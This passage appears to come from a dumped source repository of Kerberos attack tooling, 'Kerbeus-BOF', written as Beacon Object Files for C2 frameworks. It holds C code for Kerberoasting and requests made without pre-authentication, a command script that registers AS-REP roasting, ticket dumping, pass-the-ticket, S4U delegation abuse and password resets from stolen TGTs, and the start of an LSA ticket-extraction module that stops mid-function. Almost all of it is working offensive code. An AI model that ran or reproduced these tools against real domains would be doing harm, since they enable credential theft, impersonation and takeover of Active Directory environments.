responseAsn.tagValue);\n    }\n\n    return TRUE;\n}\n\nBOOL NewAS_REQ( char* pcUsername, char* pcDomain, EncryptionKey encKey, BOOL opsec, BOOL bPac, BOOL is_nopreauth, char* service, AS_REQ* as_req ) {\n    as_req->pvno = 5;\n    as_req->msg_type = KERB_AS_REQ;\n\n    as_req->req_body.kdc_options = FORWARDABLE | RENEWABLE | RENEWABLEOK;\n    as_req->req_body.till = 1 * 3600;   // valid for 1h\n    ADVAPI32$SystemFunction036(&(as_req->req_body.nonce), 4);\n    if (my_copybuf(&as_req->req_body.realm, pcDomain, my_strlen(pcDomain) + 1)) return TRUE;\n\n    as_req->req_body.cname.name_type = PRINCIPAL_NT_PRINCIPAL;\n    as_req->req_body.cname.name_count = 1;\n    as_req->req_body.cname.name_string = MemAlloc(sizeof(void*) * as_req->req_body.cname.name_count);\n    if (!as_req->req_body.cname.name_string) {\n        PRINT_OUT(\"[x] Failed alloc memory\");\n        return TRUE;\n    }\n    if (my_copybuf(&(as_req->req_body.cname.name_string[0]), pcUsername, my_strlen(pcUsername) + 1)) return TRUE;\n\n    int partsCount = 1;\n    int index = 0;\n    while (service[index]) {\n        if (service[index] == '/')\n            partsCount++;\n        index++;\n    }\n\n    as_req->req_body.sname.name_count  = partsCount;\n    as_req->req_body.sname.name_string = MemAlloc(sizeof(void*) * as_req->req_body.cname.name_count);\n    as_req->req_body.sname.name_type   = PRINCIPAL_NT_PRINCIPAL;\n\n    int partIndex = 0;\n    int startIndex = 0;\n    index = 0;\n    while (service[index] && partIndex < partsCount) {\n        if (service[index] == '/') {\n            if (my_copybuf(&(as_req->req_body.sname.name_string[partIndex]), service + startIndex, index + 1 - startIndex)) return TRUE;\n            as_req->req_body.sname.name_string[partIndex][index] = 0;\n            startIndex = index + 1;\n            partIndex++;\n        }\n        index++;\n    }\n    if (my_copybuf(&(as_req->req_body.sname.name_string[partIndex]), service + startIndex, index + 1 - startIndex)) return TRUE;\n\n    as_req->pa_data_count = 1;\n    as_req->pa_data = MemAlloc(sizeof(PA_DATA) * as_req->pa_data_count);\n    if (!as_req->pa_data) {\n        PRINT_OUT(\"[x] Failed alloc memory\");\n        return TRUE;\n    }\n\n    as_req->pa_data[0].type  = PADATA_PA_PAC_REQUEST;\n    as_req->pa_data[0].value = MemAlloc(sizeof(KERB_PA_PAC_REQUEST));\n    if (!as_req->pa_data[0].value) {\n        PRINT_OUT(\"[x] Failed alloc memory\");\n        return TRUE;\n    }\n    ((KERB_PA_PAC_REQUEST*)as_req->pa_data[0].value)->include_pac = bPac;\n\n    as_req->req_body.etypes_count = 1;\n    as_req->req_body.etypes = MemAlloc(sizeof(int) * as_req->req_body.etypes_count);\n    if (!as_req->req_body.etypes) {\n        PRINT_OUT(\"[x] Failed alloc memory\");\n        return TRUE;\n    }\n    as_req->req_body.etypes[0] = encKey.key_type;\n\n    return FALSE;\n}\n\nBOOL GetTGSRepHash(char* ticket, char* spn, char* userName, char* domainController, int requestEType) {\n    int bytesSize = 0;\n    byte* bytes = base64_decode(ticket, &bytesSize);\n\n    KRB_CRED TGT = { 0 };\n    AsnElt   asn_KRB_CRED = { 0 };\n    if (BytesToAsnDecode3(bytes, bytesSize, FALSE, &asn_KRB_CRED)) return TRUE;\n    if (AsnGetKrbCred(&(asn_KRB_CRED.sub[0]), &TGT)) return TRUE;\n\n    char* tgtDomain = NULL;\n    char* serviceName = TGT.tickets[0].sname.name_string[0];\n\n    if (TGT.tickets[0].sname.name_count > 1 && my_strcmp(serviceName, \"krbtgt\") != 0) {\n        PRINT_OUT(\"[X] Unable to request service tickets without a TGT, please rerun and provide a TGT to '/ticket'.\\n\");\n        return FALSE;\n    }\n    else {\n        tgtDomain = TGT.tickets[0].sname.name_string[1];\n    }\n\n    char* tgtUserName = TGT.enc_part.ticket_info[0].pname.name_string[0];\n    char* domain = TGT.enc_part.ticket_info[0].prealm;\n    StrToLower(domain);\n    Ticket tr_ticket = TGT.tickets[0];\n    EncryptionKey clientKey = TGT.enc_part.ticket_info[0].key;\n\n    byte* tgsBytes = NULL;\n    int tgsBytesLength = 0;\n    if (TGS(tgtUserName, domain, tr_ticket, clientKey, spn, requestEType, domainController, NULL, FALSE, FALSE, FALSE, tgtDomain, NULL, FALSE, FALSE, &tgsBytes, &tgsBytesLength)) return TRUE;\n\n    if (tgsBytes) {\n        KRB_CRED tgsKirbi = { 0 };\n        AsnElt   asn_tgsKirbi = { 0 };\n        if (BytesToAsnDecode(tgsBytes, tgsBytesLength, &asn_tgsKirbi)) return TRUE;\n        if (AsnGetKrbCred(&(asn_tgsKirbi.sub[0]), &tgsKirbi)) return TRUE;\n\n        DisplayTGShash(tgsKirbi, TRUE, userName, tgtDomain);\n        return FALSE;\n    }\n    return TRUE;\n}\n\nBOOL GetTGSRepHash_nopreauth(char* nopreauth, char* spn, char* userName, char* domainController, char* domain, int requestEType) {\n    EncryptionKey encKey = { 0 };\n    encKey.key_type = requestEType;\n\n    AS_REQ NoPreAuthASREQ = { 0 };\n    if (NewAS_REQ(nopreauth, domain, encKey, FALSE, TRUE, TRUE, spn, &NoPreAuthASREQ)) return TRUE;\n\n    AsnElt requestAsn = { 0 };\n    if (ReqToAsnEncode(NoPreAuthASREQ, 10, &requestAsn)) return TRUE;\n\n    int bRequestAsnSize = 0;\n    byte* bRequestAsn = 0;\n    if (AsnToBytesEncode(&requestAsn, &bRequestAsnSize, &bRequestAsn)) return TRUE;\n\n    byte* response = NULL;\n    int responseSize = 0;\n    sendBytes(domainController, \"88\", bRequestAsn, bRequestAsnSize, &response, &responseSize);\n\n    if (responseSize == 0)\n        return TRUE;\n\n    AsnElt responseAsn = { 0 };\n    if (BytesToAsnDecode(response, responseSize, &responseAsn)) return TRUE;\n\n    if (responseAsn.tagValue == KERB_AS_REP) {\n\n        AS_REP rep = { 0 };\n        if (NewAS_REP(responseAsn, &rep)) return TRUE;\n\n        KRB_CRED cred = { 0 };\n        cred.pvno = 5;\n        cred.msg_type = 22;\n\n        cred.ticket_count = 1;\n        cred.tickets = MemAlloc(cred.ticket_count * sizeof(Ticket));\n        if (!cred.tickets) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        cred.tickets[0] = rep.ticket;\n\n        // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart\n        KrbCredInfo info = { 0 };\n        if (my_copybuf(&(info.prealm), domain, my_strlen(domain) + 1)) return TRUE;\n\n        info.pname = rep.cname;\n        info.pname.name_string = MemAlloc(info.pname.name_count * sizeof(void*));\n        for (int i = 0; i < info.pname.name_count; i++)\n            if (my_copybuf(&(info.pname.name_string[i]), rep.cname.name_string[i], my_strlen(rep.cname.name_string[i]) + 1)) return TRUE;\n\n        if (my_copybuf(&(info.srealm), domain, my_strlen(domain) + 1)) return TRUE;\n\n        info.sname = NoPreAuthASREQ.req_body.sname;\n        info.sname.name_string = MemAlloc(info.sname.name_count * sizeof(void*));\n        for (int i = 0; i < info.sname.name_count; i++)\n            if (my_copybuf(&(info.sname.name_string[i]), NoPreAuthASREQ.req_body.sname.name_string[i], my_strlen(NoPreAuthASREQ.req_body.sname.name_string[i]) + 1)) return TRUE;\n\n        cred.enc_part.ticket_count = 1;\n        cred.enc_part.ticket_info = MemAlloc(cred.enc_part.ticket_count * sizeof(KrbCredInfo));\n        if (!cred.enc_part.ticket_info) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        cred.enc_part.ticket_info[0] = info;\n\n        DisplayTGShash(cred, TRUE, userName, domain);\n    }\n    else if (responseAsn.tagValue == KERB_ERROR) {\n        uint error_code = 0;\n        if (AsnGetErrorCode(&(responseAsn.sub[0]), &error_code)) return TRUE;\n        if (error_code == 0x19) { // KDC_ERR_PREAUTH_REQUIRED\n            PRINT_OUT(\"[!] Pre-Authentication required!\\n\");\n        }\n    }\n    else {\n        return TRUE;\n    }\n    return FALSE;\n}\n\nvoid Kerberoast(char* spn, char* domain, char* dc, char* TGT, char* nopreauth) {\n    PRINT_OUT(\"[*] Target SPN: %s\\n\", spn);\n\n    if (nopreauth) {\n        PRINT_OUT(\"[*] Using %s without pre-auth to request service tickets\\n\", nopreauth);\n        GetTGSRepHash_nopreauth(nopreauth, spn, spn, dc, domain, rc4_hmac);\n    }\n    else {\n        PRINT_OUT(\"[*] Using a TGT /ticket to request service tickets\\n\");\n        GetTGSRepHash(TGT, spn, \"USER\", dc, rc4_hmac);\n    }\n}\n\nvoid KERBEROAST_RUN( PCHAR Buffer, DWORD Length ) {\n    PRINT_OUT(\"[*] Action: Kerberoasting\\n\");\n\n    char* spn          = NULL;\n    char* ticket       = NULL;\n    char* dc           = NULL;\n    char* domain       = NULL;\n    char* nopreauth    = NULL;\n\n    for (int i = 0; i < Length; i++) {\n        i += GetStrParam(Buffer + i, Length - i, \"/dc:\", 4, &dc);\n        i += GetStrParam(Buffer + i, Length - i, \"/spn:\", 5, &spn);\n        i += GetStrParam(Buffer + i, Length - i, \"/domain:\", 8, &domain);\n        i += GetStrParam(Buffer + i, Length - i, \"/ticket:\", 8, &ticket);\n        i += GetStrParam(Buffer + i, Length - i, \"/nopreauth:\", 11, &nopreauth);\n    }\n\n    GetDomainInfo(&domain, &dc);\n    if (domain == NULL || dc == NULL) {\n        PRINT_OUT(\"[X] Could not retrieve domain information!\\n\\n\");\n        return;\n    }\n\n    if (spn == NULL) {\n        PRINT_OUT(\"\\n[X] You must supply a SPN!\\n\\n\");\n        return;\n    }\n\n    if ( nopreauth == NULL && ticket == NULL ) {\n        PRINT_OUT(\"\\n[X] You must supply /nopreauth, /ticket or /credUser !\\n\\n\");\n        return;\n    }\n\n    Kerberoast(spn, domain, dc, ticket, nopreauth);\n}\n\nVOID go( IN PCHAR Buffer, IN ULONG Length ) {\n    INIT_BOF();\n\n    datap parser;\n    BeaconDataParse(&parser, Buffer, Length);\n    DWORD PARAM_SIZE = 0;\n    PBYTE PARAM = BeaconDataExtract(&parser, &PARAM_SIZE);\n\n    if( LoadFunc() )\n        PRINT_OUT(\"%s\\n\", \"Modules not loaded\");\n    else\n        KERBEROAST_RUN( PARAM, PARAM_SIZE );\n\n    FreeBank();\n\n    END_BOF();\n}"
  },
  {
    "path": "AD-BOF/Kerbeus-BOF/kerbeus.axs",
    "content": "var metadata = {\n    name: \"Kerbeus-BOF\",\n    description: \"Kerberos Exploitation BOFs\"\n};\n\nlet _cmd_asreproasting = ax.create_command(\"asreproasting\", \"Perform AS-REP roasting\", \"kerbeus asreproasting /user:pre_user\");\n_cmd_asreproasting.addArgString(\"params\", true, \"Args: /user:USER [/dc:DC] [/domain:DOMAIN]\");\n_cmd_asreproasting.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines)  {\n    let params = parsed_json[\"params\"];\n\n    let bof_params = ax.bof_pack(\"cstr\", [params]);\n    let bof_path = ax.script_dir() + \"_bin/Kerbeus-BOF/asreproasting.\" + ax.arch(id) + \".o\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, \"Task: Kerbeus ASREPROASTING\");\n});\n\nlet _cmd_asktgt = ax.create_command(\"asktgt\", \"Retrieve a TGT\", \"kerbeus asktgt /user:Admin /password:QWErty /enctype:aes256 /opsec /ptt\");\n_cmd_asktgt.addArgString(\"params\", true, \"Args: /user:USER /password:PASSWORD [/domain:DOMAIN] [/dc:DC] [/enctype:(rc4|aes256)] [/service:SPN] [/ptt] [/nopac] [/opsec]\\n                              /user:USER /aes256:HASH [/domain:DOMAIN] [/dc:DC] [/service:SPN] [/ptt] [/nopac] [/opsec]\\n                              /user:USER /rc4:HASH [/domain:DOMAIN] [/dc:DC] [/service:SPN] [/ptt] [/nopac]\\n                              /user:USER /nopreauth [/domain:DOMAIN] [/dc:DC]\");\n_cmd_asktgt.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines)  {\n    let params = parsed_json[\"params\"];\n\n    let bof_params = ax.bof_pack(\"cstr\", [params]);\n    let bof_path = ax.script_dir() + \"_bin/Kerbeus-BOF/asktgt.\" + ax.arch(id) + \".o\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, \"Task: Kerbeus ASKTGT\");\n});\n\nlet _cmd_asktgs = ax.create_command(\"asktgs\", \"Retrieve a TGS\", \"kerbeus asktgs /service:CIFS/dc.domain.local /ticket:doIF8DCCBey... /opsec\");\n_cmd_asktgs.addArgString(\"params\", true, \"Args: /ticket:BASE64 /service:SPN1,SPN2,... [/domain:DOMAIN] [/dc:DC] [/tgs:BASE64] [/targetdomain:DOMAIN] [/targetuser:USER] [/enctype:(rc4|aes256)] [/ptt] [/keylist] [/u2u] [/opsec] [/enterprise] [/dmsa]\");\n_cmd_asktgs.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines)  {\n    let params = parsed_json[\"params\"];\n\n    let bof_params = ax.bof_pack(\"cstr\", [params]);\n    let bof_path = ax.script_dir() + \"_bin/Kerbeus-BOF/asktgs.\" + ax.arch(id) + \".o\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, \"Task: Kerbeus ASKTGS\");\n});\n\nlet _cmd_changepw = ax.create_command(\"changepw\", \"Reset a user's password from a supplied TGT\", \"kerbeus changepw /new:New_P4ss /ticket:doIF8DCCBey...\");\n_cmd_changepw.addArgString(\"params\", true, \"Args: /ticket:BASE64 /new:PASSWORD [/dc:DC] [/targetuser:USER] [/targetdomain:DOMAIN]\");\n_cmd_changepw.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines)  {\n    let params = parsed_json[\"params\"];\n\n    let bof_params = ax.bof_pack(\"cstr\", [params]);\n    let bof_path = ax.script_dir() + \"_bin/Kerbeus-BOF/changepw.\" + ax.arch(id) + \".o\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, \"Task: Kerbeus CHANGEPW\");\n});\n\nlet _cmd_describe = ax.create_command(\"describe\", \"Parse and describe a ticket\", \"kerbeus describe /ticket:doIF8DCCBey...\");\n_cmd_describe.addArgString(\"params\", true, \"Args: /ticket:BASE64\");\n_cmd_describe.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines)  {\n    let params = parsed_json[\"params\"];\n\n    let bof_params = ax.bof_pack(\"cstr\", [params]);\n    let bof_path = ax.script_dir() + \"_bin/Kerbeus-BOF/describe.\" + ax.arch(id) + \".o\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, \"Task: Kerbeus DESCRIBE\");\n});\n\nlet _cmd_dump = ax.create_command(\"dump\", \"Dump tickets\", \"kerbeus dump\");\n_cmd_dump.addArgString(\"params\", \"Args: [/luid:LOGINID] [/user:USER] [/service:SERVICE] [/client:CLIENT]\", \"\");\n_cmd_dump.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines)  {\n    let params = parsed_json[\"params\"];\n\n    let bof_params = ax.bof_pack(\"cstr\", [params]);\n    let bof_path = ax.script_dir() + \"_bin/Kerbeus-BOF/dump.\" + ax.arch(id) + \".o\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, \"Task: Kerbeus DUMP\");\n});\n\nlet _cmd_hash = ax.create_command(\"hash\", \"Calculate rc4_hmac, aes128_cts_hmac_sha1, aes256_cts_hmac_sha1 hashes\", \"kerbeus hash /password:!Q@W3e4r\");\n_cmd_hash.addArgString(\"params\", true, \"Args: /password:PASSWORD [/user:USER] [/domain:DOMAIN]\");\n_cmd_hash.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines)  {\n    let params = parsed_json[\"params\"];\n\n    let bof_params = ax.bof_pack(\"cstr\", [params]);\n    let bof_path = ax.script_dir() + \"_bin/Kerbeus-BOF/hash.\" + ax.arch(id) + \".o\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, \"Task: Kerbeus HASH\");\n});\n\nlet _cmd_kerberoasting = ax.create_command(\"kerberoasting\", \"Perform Kerberoasting\", \"kerbeus kerberoasting /spn:CIFS/COMP.domain.local /ticket:doIF8DCCBey...\");\n_cmd_kerberoasting.addArgString(\"params\", true, \"Args: /spn:SPN [/nopreauth:USER] [/dc:DC] [/domain:DOMAIN]\\n                              /spn:SPN /ticket:BASE64 [/dc:DC]\");\n_cmd_kerberoasting.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines)  {\n    let params = parsed_json[\"params\"];\n\n    let bof_params = ax.bof_pack(\"cstr\", [params]);\n    let bof_path = ax.script_dir() + \"_bin/Kerbeus-BOF/kerberoasting.\" + ax.arch(id) + \".o\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, \"Task: Kerbeus KERBEROASTING\");\n});\n\nlet _cmd_klist = ax.create_command(\"klist\", \"List tickets\", \"kerbeus klist /luid:3ea8\");\n_cmd_klist.addArgString(\"params\", \"Args: [/luid:LOGINID] [/user:USER] [/service:SERVICE] [/client:CLIENT]\", \"\");\n_cmd_klist.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines)  {\n    let params = parsed_json[\"params\"];\n\n    let bof_params = ax.bof_pack(\"cstr\", [params]);\n    let bof_path = ax.script_dir() + \"_bin/Kerbeus-BOF/klist.\" + ax.arch(id) + \".o\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, \"Task: Kerbeus KLIST\");\n});\n\nlet _cmd_ptt = ax.create_command(\"ptt\", \"Submit a TGT\", \"kerbeus ptt /ticket:doIF8DCCBey...\");\n_cmd_ptt.addArgString(\"params\", true, \"Args: /ticket:BASE64 [/luid:LOGONID]\");\n_cmd_ptt.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines)  {\n    let params = parsed_json[\"params\"];\n\n    let bof_params = ax.bof_pack(\"cstr\", [params]);\n    let bof_path = ax.script_dir() + \"_bin/Kerbeus-BOF/ptt.\" + ax.arch(id) + \".o\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, \"Task: Kerbeus PTT\");\n});\n\nlet _cmd_purge = ax.create_command(\"purge\", \"Purge tickets\", \"kerbeus purge /luid:3ea8\");\n_cmd_purge.addArgString(\"params\", \"Args: [/luid:LOGONID]\", \"\");\n_cmd_purge.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines)  {\n    let params = parsed_json[\"params\"];\n\n    let bof_params = ax.bof_pack(\"cstr\", [params]);\n    let bof_path = ax.script_dir() + \"_bin/Kerbeus-BOF/purge.\" + ax.arch(id) + \".o\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, \"Task: Kerbeus PURGE\");\n});\n\nlet _cmd_renew = ax.create_command(\"renew\", \"Renew a TGT\", \"kerbeus renew /ticket:doIF8DCCBey...\");\n_cmd_renew.addArgString(\"params\", true, \"Args: /ticket:BASE64 [/dc:DC] [/ptt]\");\n_cmd_renew.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines)  {\n    let params = parsed_json[\"params\"];\n\n    let bof_params = ax.bof_pack(\"cstr\", [params]);\n    let bof_path = ax.script_dir() + \"_bin/Kerbeus-BOF/renew.\" + ax.arch(id) + \".o\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, \"Task: Kerbeus RENEW\");\n});\n\nlet _cmd_s4u = ax.create_command(\"s4u\", \"Perform S4U constrained delegation abuse\", \"kerbeus s4u /ticket:doIF8DCCBey... /impersonateuser:Administrator /service:host/comp.domain.local /altservice:http,cifs\");\n_cmd_s4u.addArgString(\"params\", true, \"Args: /ticket:BASE64 /service:SPN {/impersonateuser:USER | /tgs:BASE64} [/domain:DOMAIN] [/dc:DC] [/altservice:SERVICE] [/ptt] [/nopac] [/opsec] [/self]\");\n_cmd_s4u.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines)  {\n    let params = parsed_json[\"params\"];\n\n    let bof_params = ax.bof_pack(\"cstr\", [params]);\n    let bof_path = ax.script_dir() + \"_bin/Kerbeus-BOF/s4u.\" + ax.arch(id) + \".o\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, \"Task: Kerbeus S4U\");\n});\n\nlet _cmd_cross_s4u = ax.create_command(\"cross_s4u\", \"Perform S4U constrained delegation abuse across domains\", \"kerbeus cross_s4u /ticket:doIF8DCCBey... /impersonateuser:Administrator /targetdomain:sdomain.local /targetdc:dc.sdomain.local /service:host/comp.sdomain.local /altservice:http,cifs\");\n_cmd_cross_s4u.addArgString(\"params\", true, \"Args: krb_cross_s4u /ticket:BASE64 /service:SPN /targetdomain:DOMAIN /targetdc:DC {/impersonateuser:USER | /tgs:BASE64} [/domain:DOMAIN] [/dc:DC] [/altservice:SERVICE] [/nopac] [/self]\");\n_cmd_cross_s4u.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines)  {\n    let params = parsed_json[\"params\"];\n\n    let bof_params = ax.bof_pack(\"cstr\", [params]);\n    let bof_path = ax.script_dir() + \"_bin/Kerbeus-BOF/cross_s4u.\" + ax.arch(id) + \".o\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, \"Task: Kerbeus CROSS_S4U\");\n});\n\nlet _cmd_tgtdeleg = ax.create_command(\"tgtdeleg\", \"Retrieve a usable TGT for the current user without elevation by abusing the Kerberos GSS-API\", \"kerbeus tgtdeleg\");\n_cmd_tgtdeleg.addArgString(\"params\", \"Args: [/target:SPN]\", \"\");\n_cmd_tgtdeleg.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines)  {\n    let params = parsed_json[\"params\"];\n\n    let bof_params = ax.bof_pack(\"cstr\", [params]);\n    let bof_path = ax.script_dir() + \"_bin/Kerbeus-BOF/tgtdeleg.\" + ax.arch(id) + \".o\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, \"Task: Kerbeus TGTDELEG\");\n});\n\nlet _cmd_triage = ax.create_command(\"triage\", \"List tickets in table format\", \"kerbeus triage /luid:3ea8\");\n_cmd_triage.addArgString(\"params\", \"Args: [/luid:LOGINID] [/user:USER] [/service:SERVICE] [/client:CLIENT]\", \"\");\n_cmd_triage.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines)  {\n    let params = parsed_json[\"params\"];\n\n    let bof_params = ax.bof_pack(\"cstr\", [params]);\n    let bof_path = ax.script_dir() + \"_bin/Kerbeus-BOF/triage.\" + ax.arch(id) + \".o\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, \"Task: Kerbeus TRIAGE\");\n});\n\nvar cmd_kerbeus = ax.create_command(\"kerbeus\", \"Kerberos abuse (kerbeus BOF)\");\ncmd_kerbeus.addSubCommands([_cmd_asreproasting, _cmd_asktgt, _cmd_asktgs, _cmd_changepw, _cmd_dump, _cmd_hash, _cmd_kerberoasting, _cmd_klist, _cmd_ptt, _cmd_describe, _cmd_purge, _cmd_renew, _cmd_s4u, _cmd_cross_s4u, _cmd_tgtdeleg, _cmd_triage]);\n\nvar group_kerbeus = ax.create_commands_group(\"Kerbeus-BOF\", [cmd_kerbeus]);\nax.register_commands_group(group_kerbeus, [\"beacon\", \"gopher\", \"kharon\"], [\"windows\"], []);"
  },
  {
    "path": "AD-BOF/Kerbeus-BOF/klist/klist.c",
    "content": "#include \"_include/functions.c\"\n\nSYSTEMTIME ConvertToSystemtime(LARGE_INTEGER li) {\n    FILETIME ft;\n    SYSTEMTIME st_utc;\n    ft.dwHighDateTime = li.HighPart;\n    ft.dwLowDateTime = li.LowPart;\n    KERNEL32$FileTimeToSystemTime(&ft, &st_utc);\n    return st_utc;\n}\n\nHANDLE GetCurrentToken(DWORD DesiredAccess) {\n    HANDLE hCurrentToken = NULL;\n    if (!ADVAPI32$OpenThreadToken(KERNEL32$GetCurrentThread(), DesiredAccess, FALSE, &hCurrentToken))\n        if (hCurrentToken == NULL && KERNEL32$GetLastError() == ERROR_NO_TOKEN)\n            if (!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), DesiredAccess, &hCurrentToken))\n                return NULL;\n    return hCurrentToken;\n}\n\nLUID GetCurrentLUID(HANDLE TokenHandle) {\n    TOKEN_STATISTICS tokenStats;\n    DWORD tokenSize;\n    if (!ADVAPI32$GetTokenInformation(TokenHandle, TokenStatistics, &tokenStats, sizeof(tokenStats), &tokenSize))\n        return (LUID) { 0 };\n    return tokenStats.AuthenticationId;\n}\n\nBOOL IsSystem(HANDLE TokenHandle) {\n    UCHAR bTokenUser[sizeof(TOKEN_USER) + 8 + 4 * SID_MAX_SUB_AUTHORITIES];\n    PTOKEN_USER pTokenUser = (PTOKEN_USER)bTokenUser;\n    ULONG cbTokenUser;\n    SID_IDENTIFIER_AUTHORITY siaNT = SECURITY_NT_AUTHORITY;\n    PSID pSystemSid = NULL;\n    BOOL bSystem = FALSE;\n\n    // Try to open the token of the current thread first\n    if (!ADVAPI32$OpenThreadToken(KERNEL32$GetCurrentThread(), TOKEN_QUERY, TRUE, &TokenHandle)) {\n        // If there is no thread token, fall back to the process token\n        if (KERNEL32$GetLastError() == ERROR_NO_TOKEN) {\n            if (!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_QUERY, &TokenHandle)) {\n                return FALSE;\n            }\n        } else {\n            return FALSE;\n        }\n    }\n\n    if (!ADVAPI32$GetTokenInformation(TokenHandle, TokenUser, pTokenUser, sizeof(bTokenUser), &cbTokenUser)) {\n        return FALSE;\n    }\n\n    if (!ADVAPI32$AllocateAndInitializeSid(&siaNT, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid)) {\n        return FALSE;\n    }\n\n    bSystem = ADVAPI32$EqualSid(pTokenUser->User.Sid, pSystemSid);\n\n    ADVAPI32$FreeSid(pSystemSid);\n\n    return bSystem;\n}\n\nBOOL GetLsaHandle(HANDLE hToken, BOOL highIntegrity, HANDLE* hLsa) {\n    HANDLE hLsaLocal = NULL;\n    ULONG  mode = 0;\n    bool   status = true;\n    if (highIntegrity) {\n        STRING lsaString = (STRING){ .Length = 8, .MaximumLength = 9, .Buffer = \"Winlogon\" };\n        status = SECUR32$LsaRegisterLogonProcess(&lsaString, &hLsaLocal, &mode);\n    }\n    else {\n        status = SECUR32$LsaConnectUntrusted(&hLsaLocal);\n    }\n    *hLsa = hLsaLocal;\n    return status;\n}\n\nBOOL GetLogonSessionData(LUID luid, LOGON_SESSION_DATA* data) {\n    LOGON_SESSION_DATA           sessionData = { 0 };\n    SECURITY_LOGON_SESSION_DATA* logonData = NULL;\n    if (luid.LowPart != 0) {\n        if (SECUR32$LsaGetLogonSessionData(&luid, &logonData)) return true;\n        sessionData.sessionData = MemAlloc(sizeof(*sessionData.sessionData));\n        sessionData.sessionCount = 1;\n        sessionData.sessionData[0] = logonData;\n        *data = sessionData;\n    }\n    else {\n        ULONG logonSessionCount;\n        PLUID logonSessionList;\n        if (SECUR32$LsaEnumerateLogonSessions(&logonSessionCount, &logonSessionList)) return true;\n\n        sessionData.sessionData = MemAlloc(logonSessionCount * sizeof(*sessionData.sessionData));\n        sessionData.sessionCount = logonSessionCount;\n        for (int i = 0; i < logonSessionCount; i++) {\n            LUID luid = logonSessionList[i];\n\n            if (SECUR32$LsaGetLogonSessionData(&luid, &logonData))\n                sessionData.sessionData[i] = NULL;\n            else\n                sessionData.sessionData[i] = logonData;\n        }\n        SECUR32$LsaFreeReturnBuffer(logonSessionList);\n        *data = sessionData;\n    }\n    return false;\n}\n\n#ifdef DUMP\nchar* base64_encode(byte* input, size_t input_len) {\n    char base64_chars[] = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n    size_t output_len = 4 * ((input_len + 2) / 3);\n    byte* output = MemAlloc(output_len + 1);\n    if (output == NULL)\n        return NULL;\n\n    size_t i = 0, j = 0;\n    while (i < input_len) {\n        UINT octet_a = i < input_len ? input[i++] : 0;\n        UINT octet_b = i < input_len ? input[i++] : 0;\n        UINT octet_c = i < input_len ? input[i++] : 0;\n\n        UINT triple = (octet_a << 0x10) + (octet_b << 0x08) + octet_c;\n\n        output[j++] = base64_chars[(triple >> 3 * 6) & 0x3F];\n        output[j++] = base64_chars[(triple >> 2 * 6) & 0x3F];\n        output[j++] = base64_chars[(triple >> 1 * 6) & 0x3F];\n        output[j++] = base64_chars[(triple >> 0 * 6) & 0x3F];\n    }\n\n    if (input_len % 3 == 1) {\n        output[output_len - 1] = '=';\n        output[output_len - 2] = '=';\n    }\n    else if (input_len % 3 == 2) {\n        output[output_len - 1] = '=';\n    }\n\n    output[output_len] = '\\0';\n    return output;\n}\n\nbool ExtractTicket(HANDLE hLsa, ULONG authPackage, LUID luid, UNICODE_STRING targetName, byte** ticket, int* ticketSize) {\n    KERB_RETRIEVE_TKT_RESPONSE* retrieveResponse = NULL;\n    ULONG responseSize = sizeof(KERB_RETRIEVE_TKT_REQUEST) + targetName.MaximumLength;\n    KERB_RETRIEVE_TKT_REQUEST* retrieveRequest = MemAlloc(responseSize);\n\n    retrieveRequest->MessageType = KerbRetrieveEncodedTicketMessage;\n    retrieveRequest->LogonId = luid;\n    retrieveRequest->TicketFlags = 0;\n    retrieveRequest->CacheOptions = KERB_RETRIEVE_TICKET_AS_KERB_CRED;\n    retrieveRequest->EncryptionType = 0;\n    retrieveRequest->TargetName = targetName;\n    retrieveRequest->TargetName.Buffer = (PWSTR)((PBYTE)retrieveRequest + sizeof(KERB_RETRIEVE_TKT_REQUEST));\n    MemCpy(retrieveRequest->TargetName.Buffer, targetName.Buffer, targetName.MaximumLength);\n\n    NTSTATUS 